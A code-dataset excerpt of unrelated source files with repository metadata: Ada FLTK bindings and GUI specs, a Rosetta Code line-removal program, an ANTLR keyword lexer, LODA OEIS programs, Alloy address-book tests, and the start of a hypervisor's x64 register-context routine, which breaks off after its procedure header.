return access FLTK.Widgets.Groups.Windows.Window'Class;
function Get_Alignment
(This : in Widget)
return Alignment;
procedure Set_Alignment
(This : in out Widget;
New_Align : in Alignment);
function Get_Box
(This : in Widget)
return Box_Kind;
procedure Set_Box
(This : in out Widget;
Box : in Box_Kind);
function Get_Tooltip
(This : in Widget)
return String;
procedure Set_Tooltip
(This : in out Widget;
Text : in String);
function Get_Label
(This : in Widget)
return String;
procedure Set_Label
(This : in out Widget;
Text : in String);
function Get_Label_Color
(This : in Widget)
return Color;
procedure Set_Label_Color
(This : in out Widget;
Value : in Color);
function Get_Label_Font
(This : in Widget)
return Font_Kind;
procedure Set_Label_Font
(This : in out Widget;
Font : in Font_Kind);
function Get_Label_Size
(This : in Widget)
return Font_Size;
procedure Set_Label_Size
(This : in out Widget;
Size : in Font_Size);
function Get_Label_Type
(This : in Widget)
return Label_Kind;
procedure Set_Label_Type
(This : in out Widget;
Label : in Label_Kind);
procedure Measure_Label
(This : in Widget;
W, H : out Integer);
function Get_Callback
(This : in Widget)
return Widget_Callback;
procedure Set_Callback
(This : in out Widget;
Func : in Widget_Callback);
procedure Do_Callback
(This : in out Widget);
function Get_When
(This : in Widget)
return Callback_Flag;
procedure Set_When
(This : in out Widget;
To : in Callback_Flag);
function Get_X
(This : in Widget)
return Integer;
function Get_Y
(This : in Widget)
return Integer;
function Get_W
(This : in Widget)
return Integer;
function Get_H
(This : in Widget)
return Integer;
procedure Resize
(This : in out Widget;
W, H : in Integer);
procedure Reposition
(This : in out Widget;
X, Y : in Integer);
function Get_Image
(This : in Widget)
return access FLTK.Images.Image'Class;
procedure Set_Image
(This : in out Widget;
Pic : in out FLTK.Images.Image'Class);
function Get_Inactive_Image
(This : in Widget)
return access FLTK.Images.Image'Class;
procedure Set_Inactive_Image
(This : in out Widget;
Pic : in out FLTK.Images.Image'Class);
function Is_Damaged
(This : in Widget)
return Boolean;
procedure Set_Damaged
(This : in out Widget;
To : in Boolean);
procedure Set_Damaged
(This : in out Widget;
To : in Boolean;
X, Y, W, H : in Integer);
procedure Draw
(This : in out Widget) is null;
procedure Draw_Label
(This : in Widget;
X, Y, W, H : in Integer;
Align : in Alignment);
procedure Redraw
(This : in out Widget);
procedure Redraw_Label
(This : in out Widget);
function Handle
(This : in out Widget;
Event : in Event_Kind)
return Event_Outcome;
private
type Widget is new Wrapper with
record
Callback : Widget_Callback;
Current_Image : access FLTK.Images.Image'Class;
Inactive_Image : access FLTK.Images.Image'Class;
end record;
overriding procedure Finalize
(This : in out Widget);
type Callback_Flag is new Interfaces.C.unsigned;
Call_Never : constant Callback_Flag := 0;
When_Changed : constant Callback_Flag := 1;
When_Interact : constant Callback_Flag := 2;
When_Release : constant Callback_Flag := 4;
When_Enter_Key : constant Callback_Flag := 8;
-- the user data portion should always be a reference back to the Ada binding
procedure Callback_Hook
(W, U : in System.Address);
pragma Convention (C, Callback_Hook);
procedure Draw_Hook
(U : in System.Address);
pragma Convention (C, Draw_Hook);
function Handle_Hook
(U : in System.Address;
E : in Interfaces.C.int)
return Interfaces.C.int;
pragma Convention (C, Handle_Hook);
package Widget_Convert is new System.Address_To_Access_Conversions (Widget'Class);
package Callback_Convert is
function To_Pointer is new Ada.Unchecked_Conversion (System.Address, Widget_Callback);
function To_Address is new Ada.Unchecked_Conversion (Widget_Callback, System.Address);
end Callback_Convert;
function fl_widget_get_user_data
(W : in System.Address)
return System.Address;
pragma Import (C, fl_widget_get_user_data, "fl_widget_get_user_data");
procedure fl_widget_set_user_data
(W, D : in System.Address);
pragma Import (C, fl_widget_set_user_data, "fl_widget_set_user_data");
pragma Inline (Activate);
pragma Inline (Deactivate);
pragma Inline (Is_Active);
pragma Inline (Is_Tree_Active);
pragma Inline (Set_Active);
pragma Inline (Has_Changed);
pragma Inline (Set_Changed);
pragma Inline (Is_Output_Only);
pragma Inline (Set_Output_Only);
pragma Inline (Is_Visible);
pragma Inline (Set_Visible);
pragma Inline (Has_Visible_Focus);
pragma Inline (Set_Visible_Focus);
pragma Inline (Take_Focus);
pragma Inline (Takes_Events);
pragma Inline (Get_Background_Color);
pragma Inline (Set_Background_Color);
pragma Inline (Get_Selection_Color);
pragma Inline (Set_Selection_Color);
pragma Inline (Parent);
pragma Inline (Contains);
pragma Inline (Inside);
pragma Inline (Nearest_Window);
pragma Inline (Top_Window);
pragma Inline (Top_Window_Offset);
pragma Inline (Get_Alignment);
pragma Inline (Set_Alignment);
pragma Inline (Get_Box);
pragma Inline (Set_Box);
pragma Inline (Get_Tooltip);
pragma Inline (Set_Tooltip);
pragma Inline (Get_Label);
pragma Inline (Set_Label);
pragma Inline (Get_Label_Color);
pragma Inline (Set_Label_Color);
pragma Inline (Get_Label_Font);
pragma Inline (Set_Label_Font);
pragma Inline (Get_Label_Size);
pragma Inline (Set_Label_Size);
pragma Inline (Get_Label_Type);
pragma Inline (Set_Label_Type);
pragma Inline (Measure_Label);
pragma Inline (Get_Callback);
pragma Inline (Set_Callback);
pragma Inline (Do_Callback);
pragma Inline (Get_When);
pragma Inline (Set_When);
pragma Inline (Get_X);
pragma Inline (Get_Y);
pragma Inline (Get_W);
pragma Inline (Get_H);
pragma Inline (Resize);
pragma Inline (Reposition);
pragma Inline (Get_Image);
pragma Inline (Set_Image);
pragma Inline (Get_Inactive_Image);
pragma Inline (Set_Inactive_Image);
pragma Inline (Is_Damaged);
pragma Inline (Set_Damaged);
pragma Inline (Draw);
pragma Inline (Draw_Label);
pragma Inline (Redraw);
pragma Inline (Redraw_Label);
pragma Inline (Handle);
end FLTK.Widgets;
|
Task/Remove-lines-from-a-file/Ada/remove-lines-from-a-file.ada
|
LaudateCorpus1/RosettaCodeData
| 1 |
14320
|
<filename>Task/Remove-lines-from-a-file/Ada/remove-lines-from-a-file.ada<gh_stars>1-10
with Ada.Text_IO, Ada.Directories, Ada.Command_Line, Ada.IO_Exceptions;
use Ada.Text_IO;
procedure Remove_Lines_From_File is
Temporary: constant String := ".tmp";
begin
if Ada.Command_Line.Argument_Count /= 3 then
raise Constraint_Error;
end if;
declare
Filename: String := Ada.Command_Line.Argument(1);
First: Positive := Integer'Value(Ada.Command_Line.Argument(2));
Last: Natural := Integer'Value(Ada.Command_Line.Argument(3)) + First - 1;
Input, Output: File_Type;
Line_Number: Positive := 1;
begin
Open(Input, In_File, Filename); -- open original file for reading
Create(Output, Out_File, Filename & Temporary); -- write to temp. file
while not End_Of_File(Input) loop
declare
Line: String := Get_Line(Input);
begin
if Line_Number < First or else Line_Number > Last then
Put_Line(Output, Line);
end if;
end;
Line_Number := Line_Number + 1;
end loop;
Close(Input);
Close(Output);
Ada.Directories.Rename(Old_Name => Filename & Temporary,
New_Name => Filename);
end;
exception
when Constraint_Error | Ada.IO_Exceptions.Name_Error =>
Put_Line("usage: " & Ada.Command_Line.Command_Name &
" <filename> <first> <length>");
Put_Line(" opens <filename> for reading and " &
"<filename>" & Temporary & " for temporary writing");
Put_Line(" requires first > 0, length >= 0");
end Remove_Lines_From_File;
|
src/main/antlr4/imports/KeyWords.g4
|
Yucukof/edu-antlr4-toy-parser-to-nbc
| 0 |
6444
|
lexer grammar KeyWords;
// Words
RETAIN: 'retain'|'RETAIN';
IMPORT: 'import'|'IMPORT';
BY: 'by'|'BY';
DEFAULT: 'default'|'DEFAULT';
WHILE: 'while'|'WHILE';
WHEN: 'when'|'WHEN';
DO: 'do'|'DO';
AS: 'as'|'AS';
SET: 'set'|'SET';
TO: 'to'|'TO';
COMPUTE: 'compute'|'COMPUTE';
NEXT: 'next'|'NEXT';
DONE: 'done'|'DONE';
IF: 'if'|'IF';
THEN: 'then'|'THEN';
ELSE: 'else'|'ELSE';
AND: 'and'|'AND';
OR: 'or'|'OR';
NOT: 'not'|'NOT';
TRUE: 'true'|'TRUE';
FALSE: 'false'|'FALSE';
IS: 'is'|'IS';
DECLARE: 'declare'|'DECLARE';
LOCAL: 'local'|'LOCAL';
GLOBAL: 'global'|'GLOBAL';
FUNCTION: 'function'|'FUNCTION';
RETURN: 'return'|'RETURN';
NEARBY: 'nearby'|'NEARBY';
COUNT: 'count'|'COUNT';
YOUR: 'your'|'YOUR';
TURN: 'turn'|'TURN';
// Comments -> ignored
COMMENT: '/*' .*? '*/' -> skip ;
// Whitespaces -> ignored
NEWLINE: '\r'? '\n' -> skip ;
WS: [ \t]+ -> skip ;
|
applet/aide/source/editors/aide-editor-of_exception_handler.ads
|
charlie5/aIDE
| 3 |
11093
|
with
AdaM.exception_Handler,
gtk.Widget;
private
with
gtk.Box,
gtk.Frame,
gtk.Alignment,
gtk.Label,
gtk.Button;
limited
with
aIDE.Editor.of_block;
package aIDE.Editor.of_exception_handler
is
type Item is new Editor.item with private;
type View is access all Item'Class;
function new_Editor (the_Handler : in AdaM.exception_Handler.view) return View;
procedure free (the_Handler : in out View);
overriding
function top_Widget (Self : in Item) return gtk.Widget.Gtk_Widget;
private
use Gtk.Box,
Gtk.Button,
Gtk.Alignment,
Gtk.Label,
Gtk.Frame;
type Item is new Editor.item with
record
exception_Handler : AdaM.exception_Handler.view;
top_Frame : gtk_Frame;
top_Box : gtk_Box;
handler_Alignment : Gtk_Alignment;
block_Editor : access aIDE.Editor.of_block.item'Class;
when_Label : gtk_Label;
exception_names_Box : gtk_Box;
rid_Button : gtk_Button;
end record;
procedure add_new_exception_Button (Self : access Item; Slot : in Positive);
function exception_Button (Self : in Item; Slot : in Positive) return Gtk.Button.gtk_Button;
end aIDE.Editor.of_exception_handler;
|
oeis/021/A021799.asm
|
neoneye/loda-programs
| 11 |
22919
|
<filename>oeis/021/A021799.asm<gh_stars>10-100
; A021799: Decimal expansion of 1/795.
; 0,0,1,2,5,7,8,6,1,6,3,5,2,2,0,1,2,5,7,8,6,1,6,3,5,2,2,0,1,2,5,7,8,6,1,6,3,5,2,2,0,1,2,5,7,8,6,1,6,3,5,2,2,0,1,2,5,7,8,6,1,6,3,5,2,2,0,1,2,5,7,8,6,1,6,3,5,2,2,0,1,2,5,7,8,6,1,6,3,5,2,2,0,1,2,5,7,8,6
add $0,1
mov $2,10
pow $2,$0
mov $0,$2
div $0,795
mod $0,10
|
alloy4fun_models/trashltl/models/14/kodX2qXkRqTNuCNXC.als
|
Kaixi26/org.alloytools.alloy
| 0 |
2436
|
<reponame>Kaixi26/org.alloytools.alloy
open main
pred idkodX2qXkRqTNuCNXC_prop15 {
}
pred __repair { idkodX2qXkRqTNuCNXC_prop15 }
check __repair { idkodX2qXkRqTNuCNXC_prop15 <=> prop15o }
|
oeis/161/A161225.asm
|
neoneye/loda-programs
| 11 |
3825
|
; A161225: a(n) = number of distinct integers that can be constructed by removing one or more 0's from the binary representation of n, and concatenating while leaving the remaining digits in their same order.
; Submitted by <NAME>
; 0,1,0,2,1,1,0,3,2,3,1,2,1,1,0,4,3,5,2,5,3,3,1,3,2,3,1,2,1,1,0,5,4,7,3,8,5,5,2,7,5,7,3,5,3,3,1,4,3,5,2,5,3,3,1,3,2,3,1,2,1,1,0,6,5,9,4,11,7,7,3,11,8,11,5,8,5,5,2,9,7,11,5,11,7,7,3,7,5,7,3,5,3,3,1,5,4,7,3,8
add $0,1
mov $1,1
lpb $0
mov $3,$0
lpb $3
mov $3,1
cmp $6,0
add $2,$6
mov $5,$2
add $2,1
max $4,$5
sub $3,$4
lpe
mov $5,1
lpb $0
dif $0,$2
add $5,1
lpe
div $0,2
mul $1,$5
lpe
mov $0,$1
sub $0,1
|
experiments/test-suite/addr.als
|
kaiyuanw/MuAlloy
| 6 |
2137
|
<gh_stars>1-10
pred test1 {
some disj Address0: Address {some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2, Address0: Listing {some disj Book0, Book1: Book {
Address = Address0
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2 + Address0
Book = Book0 + Book1
entry = Book0->Name1 + Book0->Name2 + Book1->Name0
listed = Book0->Name1->Address0 + Book0->Name2->Name1 + Book1->Name0->Address0
}}}}
}
run test1 for 4
pred test2 {
some disj Book0: Book {
no Address
no Name
no Listing
Book = Book0
no entry
no listed
}
}
run test2 for 4
pred test3 {
some disj Address0, Address1: Address {some disj Name0: Name {some disj Name0, Address0, Address1: Listing {
Address = Address0 + Address1
Name = Name0
Listing = Name0 + Address0 + Address1
no Book
no entry
no listed
}}}
}
run test3 for 4
pred test4 {
some disj Name0: Name {some disj Name0: Listing {
no Address
Name = Name0
Listing = Name0
no Book
no entry
no listed
}}
}
run test4 for 4
pred test5 {
some disj Name0, Name1: Name {some disj Name0, Name1: Listing {some disj Book0, Book1: Book {
no Address
Name = Name0 + Name1
Listing = Name0 + Name1
Book = Book0 + Book1
entry = Book0->Name0 + Book0->Name1 + Book1->Name0 + Book1->Name1
listed = Book0->Name1->Name0 + Book1->Name0->Name1
}}}
}
run test5 for 4
pred test6 {
some disj Address0: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0: Listing {some disj Book0: Book {
Address = Address0
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0
Book = Book0
entry = Book0->Name0 + Book0->Name1
listed = Book0->Name0->Address0 + Book0->Name1->Name0
}}}}
}
run test6 for 4
pred test7 {
no Address
no Name
no Listing
no Book
no entry
no listed
}
run test7 for 4
pred test8 {
some disj Name0, Name1, Name2, Name3: Name {some disj Name0, Name1, Name2, Name3: Listing {some disj Book0, Book1, Book2, Book3: Book {
no Address
Name = Name0 + Name1 + Name2 + Name3
Listing = Name0 + Name1 + Name2 + Name3
Book = Book0 + Book1 + Book2 + Book3
entry = Book0->Name2 + Book0->Name3 + Book1->Name1 + Book2->Name0 + Book2->Name1 + Book2->Name3 + Book3->Name0 + Book3->Name1 + Book3->Name3
listed = Book0->Name3->Name2 + Book2->Name1->Name0 + Book2->Name3->Name1 + Book3->Name0->Name1 + Book3->Name1->Name3
}}}
}
run test8 for 4
pred test9 {
some disj Address0: Address {some disj Name0: Name {some disj Name0, Address0: Listing {
Address = Address0
Name = Name0
Listing = Name0 + Address0
no Book
no entry
no listed
}}}
}
run test9 for 4
pred test10 {
some disj Address0: Address {some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2, Address0: Listing {some disj Book0, Book1: Book {
Address = Address0
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2 + Address0
Book = Book0 + Book1
entry = Book0->Name1 + Book0->Name2 + Book1->Name0 + Book1->Name2
listed = Book0->Name1->Name2 + Book0->Name2->Address0
}}}}
}
run test10 for 4
pred test11 {
some disj Address0: Address {some disj Name0: Name {some disj Name0, Address0: Listing {some disj Book0, Book1: Book {
Address = Address0
Name = Name0
Listing = Name0 + Address0
Book = Book0 + Book1
entry = Book0->Name0
listed = Book0->Name0->Address0
}}}}
}
run test11 for 4
pred test12 {
some disj Address0: Address {some disj Address0: Listing {some disj Book0: Book {
Address = Address0
no Name
Listing = Address0
Book = Book0
no entry
no listed
}}}
}
run test12 for 4
pred test13 {
some disj Address0: Address {some disj Name0, Name1: Name {some disj Name0, Address0, Name1: Listing {some disj Book0, Book1: Book {
Address = Address0
Name = Name0 + Name1
Listing = Name0 + Address0 + Name1
Book = Book0 + Book1
entry = Book0->Name1 + Book1->Name0
listed = Book0->Name1->Address0
lookup[Book1,Name1] = none
}}}}
}
run test13 for 4
pred test14 {
some disj Address0: Address {some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Address0, Name2: Listing {some disj Book0: Book {
Address = Address0
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Address0 + Name2
Book = Book0
entry = Book0->Name0 + Book0->Name1 + Book0->Name2
listed = Book0->Name0->Address0 + Book0->Name1->Name0 + Book0->Name2->Name1
lookup[Book0,Name2] = Name0 + Name1 + Address0
}}}}
}
run test14 for 4
pred test15 {
some disj Name0, Name1, Name2, Name3: Name {some disj Name0, Name1, Name2, Name3: Listing {some disj Book0, Book1, Book2: Book {
no Address
Name = Name0 + Name1 + Name2 + Name3
Listing = Name0 + Name1 + Name2 + Name3
Book = Book0 + Book1 + Book2
entry = Book0->Name1 + Book0->Name2 + Book0->Name3 + Book1->Name0 + Book2->Name0
listed = Book0->Name1->Name3 + Book0->Name2->Name1
}}}
}
run test15 for 4
pred test16 {
some disj Address0, Address1, Address2: Address {some disj Name0: Name {some disj Name0, Address0, Address1, Address2: Listing {some disj Book0: Book {
Address = Address0 + Address1 + Address2
Name = Name0
Listing = Name0 + Address0 + Address1 + Address2
Book = Book0
entry = Book0->Name0
listed = Book0->Name0->Address0 + Book0->Name0->Address1 + Book0->Name0->Address2
}}}}
}
run test16 for 4
pred test17 {
some disj Address0, Address1: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0, Address1: Listing {some disj Book0, Book1, Book2, Book3: Book {
Address = Address0 + Address1
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0 + Address1
Book = Book0 + Book1 + Book2 + Book3
entry = Book0->Name1 + Book1->Name1 + Book2->Name0 + Book3->Name0 + Book3->Name1
listed = Book0->Name1->Address0 + Book0->Name1->Address1 + Book1->Name1->Address0 + Book1->Name1->Address1 + Book2->Name0->Address0 + Book2->Name0->Address1 + Book3->Name0->Address0 + Book3->Name0->Address1 + Book3->Name1->Name0 + Book3->Name1->Address0 + Book3->Name1->Address1
}}}}
}
run test17 for 4
pred test18 {
some disj Address0, Address1: Address {some disj Name0: Name {some disj Name0, Address0, Address1: Listing {some disj Book0: Book {
Address = Address0 + Address1
Name = Name0
Listing = Name0 + Address0 + Address1
Book = Book0
entry = Book0->Name0
listed = Book0->Name0->Address0 + Book0->Name0->Address1
}}}}
}
run test18 for 4
pred test19 {
some disj Address0: Address {some disj Name0: Name {some disj Name0, Address0: Listing {some disj Book0, Book1, Book2, Book3: Book {
Address = Address0
Name = Name0
Listing = Name0 + Address0
Book = Book0 + Book1 + Book2 + Book3
no entry
no listed
}}}}
}
run test19 for 4
pred test20 {
some disj Address0, Address1: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0, Address1: Listing {some disj Book0, Book1, Book2, Book3: Book {
Address = Address0 + Address1
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0 + Address1
Book = Book0 + Book1 + Book2 + Book3
entry = Book0->Name0 + Book0->Name1 + Book1->Name0 + Book1->Name1 + Book2->Name0 + Book2->Name1 + Book3->Name0 + Book3->Name1
listed = Book0->Name1->Name0 + Book0->Name1->Address0 + Book0->Name1->Address1 + Book1->Name1->Name0 + Book1->Name1->Address0 + Book1->Name1->Address1 + Book2->Name1->Name0 + Book2->Name1->Address0 + Book2->Name1->Address1 + Book3->Name1->Name0 + Book3->Name1->Address0 + Book3->Name1->Address1
}}}}
}
run test20 for 4
pred test21 {
some disj Address0, Address1: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0, Address1: Listing {some disj Book0: Book {
Address = Address0 + Address1
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0 + Address1
Book = Book0
entry = Book0->Name0 + Book0->Name1
no listed
}}}}
}
run test21 for 4
pred test22 {
some disj Address0: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0: Listing {some disj Book0, Book1, Book2, Book3: Book {
Address = Address0
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0
Book = Book0 + Book1 + Book2 + Book3
entry = Book0->Name0 + Book0->Name1 + Book1->Name0 + Book1->Name1 + Book2->Name0 + Book2->Name1 + Book3->Name0 + Book3->Name1
listed = Book0->Name0->Address0 + Book0->Name1->Name0 + Book0->Name1->Address0 + Book1->Name0->Address0 + Book1->Name1->Name0 + Book1->Name1->Address0 + Book2->Name0->Address0 + Book2->Name1->Name0 + Book2->Name1->Address0 + Book3->Name0->Name1 + Book3->Name0->Address0 + Book3->Name1->Address0
}}}}
}
run test22 for 4
pred test23 {
some disj Address0: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0: Listing {some disj Book0: Book {
Address = Address0
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0
Book = Book0
entry = Book0->Name1
listed = Book0->Name1->Address0
}}}}
}
run test23 for 4
pred test24 {
some disj Address0: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0: Listing {some disj Book0: Book {
Address = Address0
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0
Book = Book0
entry = Book0->Name1
listed = Book0->Name1->Name0
}}}}
}
run test24 for 4
pred test25 {
some disj Name0, Name1, Name2, Name3: Name {some disj Name0, Name1, Name2, Name3: Listing {some disj Book0, Book1, Book2: Book {
no Address
Name = Name0 + Name1 + Name2 + Name3
Listing = Name0 + Name1 + Name2 + Name3
Book = Book0 + Book1 + Book2
no entry
no listed
}}}
}
run test25 for 4
pred test26 {
some disj Address0: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0: Listing {some disj Book0, Book1: Book {
Address = Address0
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0
Book = Book0 + Book1
entry = Book0->Name0 + Book0->Name1 + Book1->Name0 + Book1->Name1
listed = Book0->Name0->Address0 + Book0->Name1->Name0 + Book1->Name0->Name1 + Book1->Name1->Address0
}}}}
}
run test26 for 4
pred test27 {
some disj Name0, Name1: Name {some disj Name0, Name1: Listing {some disj Book0, Book1, Book2: Book {
no Address
Name = Name0 + Name1
Listing = Name0 + Name1
Book = Book0 + Book1 + Book2
entry = Book0->Name1 + Book1->Name1 + Book2->Name0
listed = Book0->Name1->Name0 + Book1->Name1->Name0 + Book2->Name0->Name1
}}}
}
run test27 for 4
pred test28 {
some disj Address0: Address {some disj Name0: Name {some disj Name0, Address0: Listing {some disj Book0: Book {
Address = Address0
Name = Name0
Listing = Name0 + Address0
Book = Book0
no entry
no listed
}}}}
}
run test28 for 4
pred test29 {
some disj Address0: Address {some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2, Address0: Listing {some disj Book0, Book1: Book {
Address = Address0
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2 + Address0
Book = Book0 + Book1
entry = Book0->Name1 + Book0->Name2 + Book1->Name1 + Book1->Name2
listed = Book0->Name1->Address0 + Book0->Name2->Name1 + Book1->Name1->Address0 + Book1->Name2->Name1
}}}}
}
run test29 for 4
pred test30 {
some disj Address0: Address {some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2, Address0: Listing {some disj Book0, Book1: Book {
Address = Address0
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2 + Address0
Book = Book0 + Book1
entry = Book0->Name1 + Book0->Name2 + Book1->Name0
listed = Book0->Name1->Address0 + Book0->Name2->Name1
}}}}
}
run test30 for 4
pred test31 {
some disj Name0, Name1, Name2, Name3: Name {some disj Name0, Name1, Name2, Name3: Listing {some disj Book0: Book {
no Address
Name = Name0 + Name1 + Name2 + Name3
Listing = Name0 + Name1 + Name2 + Name3
Book = Book0
entry = Book0->Name0 + Book0->Name1 + Book0->Name2 + Book0->Name3
listed = Book0->Name1->Name0 + Book0->Name2->Name0 + Book0->Name3->Name0
}}}
}
run test31 for 4
pred test32 {
some disj Name0, Name1: Name {some disj Name0, Name1: Listing {some disj Book0, Book1: Book {
no Address
Name = Name0 + Name1
Listing = Name0 + Name1
Book = Book0 + Book1
entry = Book0->Name1 + Book1->Name0
listed = Book0->Name1->Name0 + Book1->Name0->Name1
}}}
}
run test32 for 4
pred test33 {
some disj Address0, Address1: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0, Address1: Listing {some disj Book0: Book {
Address = Address0 + Address1
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0 + Address1
Book = Book0
entry = Book0->Name0 + Book0->Name1
listed = Book0->Name0->Address1 + Book0->Name1->Name0
}}}}
}
run test33 for 4
pred test34 {
some disj Address0: Address {some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2, Address0: Listing {some disj Book0, Book1: Book {
Address = Address0
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2 + Address0
Book = Book0 + Book1
entry = Book0->Name1 + Book0->Name2 + Book1->Name0 + Book1->Name2
listed = Book0->Name1->Address0 + Book0->Name2->Name1 + Book1->Name0->Address0 + Book1->Name2->Address0
}}}}
}
run test34 for 4
pred test35 {
some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2: Listing {some disj Book0: Book {
no Address
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2
Book = Book0
entry = Book0->Name0 + Book0->Name1 + Book0->Name2
listed = Book0->Name0->Name2 + Book0->Name1->Name0 + Book0->Name2->Name2
}}}
}
run test35 for 4
pred test36 {
some disj Name0, Name1, Name2, Name3: Name {some disj Name0, Name1, Name2, Name3: Listing {some disj Book0, Book1: Book {
no Address
Name = Name0 + Name1 + Name2 + Name3
Listing = Name0 + Name1 + Name2 + Name3
Book = Book0 + Book1
entry = Book0->Name0 + Book0->Name1 + Book0->Name2 + Book0->Name3 + Book1->Name0 + Book1->Name1 + Book1->Name2 + Book1->Name3
listed = Book0->Name0->Name3 + Book0->Name1->Name1 + Book0->Name2->Name2 + Book0->Name3->Name2 + Book1->Name0->Name2 + Book1->Name1->Name3 + Book1->Name2->Name2 + Book1->Name3->Name1
}}}
}
run test36 for 4
pred test37 {
some disj Name0, Name1, Name2, Name3: Name {some disj Name0, Name1, Name2, Name3: Listing {some disj Book0, Book1, Book2, Book3: Book {
no Address
Name = Name0 + Name1 + Name2 + Name3
Listing = Name0 + Name1 + Name2 + Name3
Book = Book0 + Book1 + Book2 + Book3
entry = Book0->Name3 + Book1->Name2 + Book2->Name2 + Book2->Name3 + Book3->Name0 + Book3->Name1 + Book3->Name2 + Book3->Name3
listed = Book1->Name2->Name2 + Book2->Name2->Name2 + Book2->Name3->Name2 + Book3->Name0->Name3 + Book3->Name1->Name0 + Book3->Name2->Name2 + Book3->Name3->Name1
}}}
}
run test37 for 4
pred test38 {
some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2: Listing {some disj Book0, Book1: Book {
no Address
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2
Book = Book0 + Book1
entry = Book1->Name0 + Book1->Name1 + Book1->Name2
listed = Book1->Name0->Name2 + Book1->Name1->Name0 + Book1->Name2->Name2
}}}
}
run test38 for 4
pred test39 {
some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2: Listing {some disj Book0: Book {
no Address
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2
Book = Book0
entry = Book0->Name0 + Book0->Name1 + Book0->Name2
listed = Book0->Name0->Name2 + Book0->Name1->Name1 + Book0->Name2->Name0
}}}
}
run test39 for 4
pred test40 {
some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2: Listing {some disj Book0, Book1: Book {
no Address
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2
Book = Book0 + Book1
entry = Book0->Name1 + Book0->Name2 + Book1->Name0 + Book1->Name1 + Book1->Name2
listed = Book0->Name2->Name2 + Book1->Name0->Name0 + Book1->Name1->Name1 + Book1->Name2->Name0
}}}
}
run test40 for 4
pred test41 {
some disj Address0, Address1: Address {some disj Name0, Name1: Name {some disj Name0, Name1, Address0, Address1: Listing {some disj Book0: Book {
Address = Address0 + Address1
Name = Name0 + Name1
Listing = Name0 + Name1 + Address0 + Address1
Book = Book0
entry = Book0->Name0 + Book0->Name1
listed = Book0->Name0->Name1 + Book0->Name1->Name0
}}}}
}
run test41 for 4
pred test42 {
some disj Address0: Address {some disj Name0: Name {some disj Name0, Address0: Listing {some disj Book0: Book {
Address = Address0
Name = Name0
Listing = Name0 + Address0
Book = Book0
entry = Book0->Name0
listed = Book0->Name0->Name0
}}}}
}
run test42 for 4
pred test43 {
some disj Address0, Address1, Address2: Address {some disj Name0: Name {some disj Name0, Address0, Address1, Address2: Listing {some disj Book0, Book1, Book2: Book {
Address = Address0 + Address1 + Address2
Name = Name0
Listing = Name0 + Address0 + Address1 + Address2
Book = Book0 + Book1 + Book2
entry = Book0->Name0 + Book1->Name0 + Book2->Name0
no listed
}}}}
}
run test43 for 4
|
src/hvpp/ia32/context.asm
|
ExpLife0011/hvpp
| 1 |
6364
|
<gh_stars>1-10
;++
;
; Copyright (c) <NAME>. All rights reserved.
;
; Module:
;
; context.asm
;
; Abstract:
;
; This module implements AMD64-specific code to capture and restore
; the context of the caller.
;
; Author:
;
; <NAME> (@PetrBenes) 26-Jul-2018 - Initial version
;
; Environment:
;
; Kernel mode only.
;
;--
INCLUDE ksamd64.inc
INCLUDE ia32/common.inc
.CODE
;++
;
; public:
; int __cdecl
; ia32::context_t::capture(void)
;
; Routine description:
;
; This method captures the context of the caller.
;
; Return Value:
;
; 0 if caller captured the context, RAX otherwise.
;
;--
?capture@context_t@ia32@@QEAAHXZ PROC
pushfq
mov context_t.$rax[rcx], rax
mov context_t.$rcx[rcx], rcx
mov context_t.$rdx[rcx], rdx
mov context_t.$rbx[rcx], rbx
mov context_t.$rbp[rcx], rbp
mov context_t.$rsi[rcx], rsi
mov context_t.$rdi[rcx], rdi
mov context_t.$r8 [rcx], r8
mov context_t.$r9 [rcx], r9
mov context_t.$r10[rcx], r10
mov context_t.$r11[rcx], r11
mov context_t.$r12[rcx], r12
mov context_t.$r13[rcx], r13
mov context_t.$r14[rcx], r14
mov context_t.$r15[rcx], r15
;
; RSP, RIP and RFLAGS are captured here.
;
lea rax, qword ptr [rsp + 16]
mov context_t.$rsp[rcx], rax
mov rax, qword ptr [rsp + 8]
mov context_t.$rip[rcx], rax
mov rax, qword ptr [rsp + 0]
mov context_t.$rflags[rcx], rax
xor rax, rax
add rsp, 8
ret
?capture@context_t@ia32@@QEAAHXZ ENDP
;++
;
; public:
; void __cdecl
; ia32::context_t::restore(void)
;
; Routine description:
;
; This method restores the context of the caller to the specified
; context.
;
; Return Value:
;
; None - there is no return from this method.
;
;--
?restore@context_t@ia32@@QEAAXXZ PROC
